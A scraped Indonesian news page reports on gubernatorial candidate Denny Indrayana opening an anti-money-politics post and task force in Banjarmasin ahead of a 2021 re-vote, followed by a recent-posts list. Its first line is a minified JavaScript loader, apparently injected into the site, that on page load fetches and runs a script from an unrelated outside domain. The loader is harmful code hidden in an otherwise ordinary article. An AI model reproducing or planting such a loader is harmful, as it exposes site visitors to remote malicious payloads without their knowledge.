(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Haji Denny Resmikan Posko dan Satgas Anti Politik Uang di Banjarmasin


KANALKALIMANTAN, BANJARMASIN – Cagub Kalsel Denny Indrayana meresmikan Posko sekaligus Aktivasi Satuan Tugas (Satgas) Anti Politik Uang di Banjarmasin, Selasa (1/6/2021) siang. Posko tersebut terletak di Jalan Kelayan A, Gang Bawang Merah RT 017/ RW 002, Banjarmasin Selatan.

Peresmian posko yang merupakan inisiatif relawan dan warga ini, menjadi komitmen untuk menolak politik uang saat pemungutan suara ulang (PSU) di Banjarmasin.

Hasanudin selaku satgas Posko Anti Politik Uang mengatakan, tujuan dari posko ini yang pertama untuk membantu program pemerintah dalam rangka PSU 9 Juni agar tidak terjadi hal-hal tidak diinginkan.

“Kalau ada menemukan money politik, khususnya di Kelayan Dalam, tugas kita minimal menegur, dan memberi masukan agar tidak terjadi hal demikian,” kata Hasanudin, kepada Kanalkalimantan.com.

Sementara itu, Haji Denny—panggilan Denny Indrayana mengatakan kepada tim relawannya agar tidak melakukan black campaign, agar proses pemilihan nanti aman, tertib, dan damai.

“Siapapun yang terpilih nanti kalau prosesnya tidak ada serangan fajar dan kecurangan, Insyaallah itu yang terbaik bagi banua,” katanya.

Haji Denny juga menyayangkan sikap Bawaslu yang menertibkan spanduk anti politik uang tersebut, padahal itu salah satu gerakan sosial masyarakat dengan cara yang moderat. Spanduk bertuliskan Ambil Duitnya Jangan Cucuk Orangnya merupakan upaya dan kontribusi H2D menjaga agar proses pemilihan bersih politik uang, serangan fajar dan mewujudkan pemilu yang jujur dan adil.

“Seharusnya Bawaslu menangkap yang membagikan uang, kalau spanduknya yang dilepas menimbulkan pertanyaan, saya khawatir Bawaslu justru memberikan karpet merah kepada pembagi uang,” ucap Denny.

Spanduk tersebut juga hadir sebagai bentuk komitmen H2D untuk tidak ikut praktek politik uang, yang merupakan maksiat politik dan mengundang bala bencana dikemudian hari.

“Kalau bersih kenapa risih, kalau tidak melakukan kenapa keberatan, kecuali memang ada niat untuk melakukan hal itu,” kata Haji Denny.

Selanjutnya, H2D akan memasang lagi spanduk-spanduk itu, dan akam melakukan sosialisasi kepada masyarakat untuk melawan politik uang.(kanalkalimantan.com/ila)

 

Reporter : Ila
Editor : Cell

 

 


Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

12 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

15 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

17 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

19 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.